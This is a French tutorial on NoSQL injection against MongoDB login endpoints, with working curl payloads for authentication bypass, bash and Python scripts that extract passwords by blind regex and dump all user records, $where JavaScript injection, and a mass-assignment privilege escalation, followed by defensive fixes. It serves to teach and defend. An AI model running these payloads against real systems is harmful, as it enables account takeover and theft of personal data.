Skip to content

Injection NoSQL : contourner l'authentification et extraire des données MongoDB

Contrairement à l’injection SQL qui manipule du texte, l’injection NoSQL exploite la structure JSON des requêtes MongoDB. Les opérateurs comme $ne, $gt, $regex ou $where sont interprétés directement par le moteur de requête si l’application passe le corps de la requête sans filtrage à l’ORM.

OpérateurSignificationUsage offensif
$nenot equalContourner une vérification d’égalité
$gtgreater thanToujours vrai sur une chaîne non vide
$ltlower thanÉnumération par plage
$regexexpression régulièreExtraction caractère par caractère
$indans une listeTester plusieurs valeurs simultanément
$ninnot inExclure des valeurs connues
$whereJavaScript arbitraireExécution de code côté serveur
$existschamp existantÉnumération de la structure du document
Terminal window
# Connexion avec un email connu, mot de passe quelconque → toujours vrai
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": "utilisateur@exemple.fr", "password": {"$ne": "mauvais_mdp"}}' | jq

La requête MongoDB côté serveur devient :

db.users.findOne({ email: "utilisateur@exemple.fr", password: { $ne: "mauvais_mdp" } })

Tout utilisateur avec un mot de passe différent de "mauvais_mdp" — soit la totalité — est retourné.

Terminal window
# Bypass complet sans connaître email ni mot de passe
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$gt": ""}, "password": {"$gt": ""}}' | jq
# Variante avec $ne null
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$ne": null}, "password": {"$ne": null}}' | jq

Certaines applications acceptent les paramètres MongoDB dans des formulaires classiques :

username[$ne]=toto&password[$ne]=toto
login[$gt]=&password[$ne]=x
login[$regex]=a.*&pass[$ne]=x
login[$nin][]=admin&login[$nin][]=root&pass[$ne]=x

MongoDB stocke les documents avec des _id de type ObjectId — des identifiants BSON de 24 caractères hexadécimaux, ordonnés chronologiquement. Les opérateurs $gt et $lt permettent de paginer l’ensemble des utilisateurs.

Terminal window
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"_id": {"$gt": "000000000000000000000000"}, "password": {"$ne": null}}' | jq
#!/bin/bash
LAST_ID="000000000000000000000000"
OUTPUT="ids.csv"
while true; do
RESPONSE=$(curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | grep -oE '[0-9a-f]{24}' | head -1)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then
echo "Fin de l'énumération."
break
fi
echo "$ID" >> "$OUTPUT"
echo "Trouvé : $ID"
LAST_ID="$ID"
done
Terminal window
# Récupérer les comptes créés entre deux ObjectId (donc entre deux dates)
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"_id": {"$gt": "5c000000000000000000000", "$lt": "5d000000000000000000000"}, "password": {"$ne": null}}' | jq

Les 4 premiers octets d’un ObjectId encodent un timestamp Unix. Deux ObjectId suffisent à délimiter une fenêtre temporelle.

$regex permet de tester si un champ correspond à un motif. En testant caractère par caractère depuis le début de la chaîne (^), on extrait la valeur complète.

Terminal window
# Le champ password fait-il 8 caractères ?
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$eq": "utilisateur@exemple.fr"}, "password": {"$regex": "^.{8}$"}}' | jq

Extraire le mot de passe caractère par caractère

Section titled “Extraire le mot de passe caractère par caractère”
Terminal window
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d "{\"email\": {\"$eq\": \"utilisateur@exemple.fr\"}, \"password\": {\"\$regex\": \"^$c\"}}")
if [[ "$CODE" == "200" ]]; then
echo "Premier caractère trouvé : $c"
fi
done

Script d’extraction blind complet (Python)

Section titled “Script d’extraction blind complet (Python)”
import requests
import string
USERNAME = "utilisateur@exemple.fr"
URL = "https://api.exemple.fr/user/signin"
HEADERS = {"Content-Type": "application/json"}
password = ""
while True:
found = False
for c in string.printable:
if c in ['*', '+', '.', '?', '|', '\\']:
continue
payload = {
"email": {"$eq": USERNAME},
"password": {"$regex": f"^{password}{c}"}
}
r = requests.post(URL, json=payload, headers=HEADERS)
if r.status_code == 200 and "token" in r.text:
password += c
print(f"[+] Caractère trouvé : {c} → mot de passe en cours : {password}")
found = True
break
if not found:
print(f"[*] Mot de passe complet : {password}")
break

Opérateur $in : tester des valeurs connues

Section titled “Opérateur $in : tester des valeurs connues”
Terminal window
# Tester si l'un de ces emails existe et a un mot de passe non nul
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$in": ["admin@exemple.fr", "root@exemple.fr", "superuser@exemple.fr"]}, "password": {"$ne": null}}' | jq

Injection $where (JavaScript côté serveur)

Section titled “Injection $where (JavaScript côté serveur)”

$where permet d’exécuter du JavaScript arbitraire dans le contexte du document évalué. Désactivé par défaut dans les versions récentes de MongoDB, il reste actif sur des configurations héritées.

Terminal window
# Toujours vrai
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"$where": "1 == 1", "password": {"$ne": null}}' | jq
# Injection temporelle pour confirmer l'exécution (blind)
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || true", "password": {"$ne": null}}' | jq

Un délai de 5 secondes confirme l’exécution de JavaScript côté serveur.

MongoDB ne conserve que la dernière occurrence d’une clé dupliquée. Si le filtre de l’application supprime $ne mais que le JSON contient deux fois la clé :

{"password": "filtre_supprime_ceci", "password": {"$ne": null}}

L’application voit la première valeur (filtrée), MongoDB lit la seconde.

Terminal window
# Encodé en URL
username[$ne]=x&password[$ne]=x
# Avec caractères Unicode
{"email": {"$ne": null}}
#!/bin/bash
# Extraction de tous les utilisateurs accessibles via l'endpoint signin
API="https://api.exemple.fr/user/signin"
OUTPUT="dump.csv"
LAST_ID="000000000000000000000000"
echo "id,email,firstName,lastName" > "$OUTPUT"
while true; do
RESPONSE=$(curl -s -X POST "$API" \
-H "Content-Type: application/json" \
-d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('_id',''))" 2>/dev/null)
EMAIL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('email',''))" 2>/dev/null)
FNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('firstName',''))" 2>/dev/null)
LNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('lastName',''))" 2>/dev/null)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then
echo "Terminé. $(wc -l < $OUTPUT) entrées extraites."
break
fi
echo "$ID,$EMAIL,$FNAME,$LNAME" >> "$OUTPUT"
echo "[+] $EMAIL"
LAST_ID="$ID"
done

Élévation de droits via mass assignment sur l’endpoint de mise à jour

Section titled “Élévation de droits via mass assignment sur l’endpoint de mise à jour”

Quand l’API expose un endpoint de mise à jour de profil qui passe directement le corps JSON à l’ORM, il est possible d’écraser des champs privilégiés :

Terminal window
# Passer super:true et profile:admin dans la mise à jour
curl -s -X POST "https://api.exemple.fr/user/update" \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{
"firstName": "Nom",
"email": "utilisateur@exemple.fr",
"profile": "admin",
"super": true
}' | jq

Combiner avec le bypass NoSQL pour obtenir un token valide, puis exploiter l’endpoint d’update pour élever les droits.

// Mongoose — refuser les objets là où une chaîne est attendue
const loginSchema = new mongoose.Schema({
email: { type: String, required: true },
password: { type: String, required: true }
});
// Valider avant d'interroger la base
if (typeof req.body.email !== 'string' || typeof req.body.password !== 'string') {
return res.status(400).json({ error: 'Format invalide' });
}
// Vulnérable — l'objet utilisateur transit directement dans la requête
const user = await User.findOne({ email: req.body.email, password: req.body.password });
// Correct — extraction explicite et vérification du type
const { email, password } = req.body;
if (typeof email !== 'string' || typeof password !== 'string') {
throw new Error('Type invalide');
}
const user = await User.findOne({ email }).select('+password');
const valid = await bcrypt.compare(password, user.password);

Dans mongod.conf :

security:
javascriptEnabled: false

$where et mapReduce ne sont plus exécutables — la surface d’attaque JavaScript côté serveur disparaît.

Limiter le taux de requêtes sur les endpoints d’authentification

Section titled “Limiter le taux de requêtes sur les endpoints d’authentification”

Un dump par énumération d’ObjectId envoie des centaines de requêtes. Un rate limiting strict détecte et bloque ce pattern :

// Express — rate limiting sur /user/signin
const rateLimit = require('express-rate-limit');
app.use('/user/signin', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 20,
message: { error: 'Trop de tentatives' }
}));

L’injection NoSQL ne manipule pas du texte mais de la structure. Un corps JSON passé directement à findOne() ou find() sans vérification de type transforme n’importe quel champ en opérateur de requête. La défense repose sur deux points : vérifier que les valeurs reçues ont le type attendu (string, number — pas object), et ne jamais stocker de mots de passe en clair pour que $regex sur ce champ ne retourne rien d’exploitable.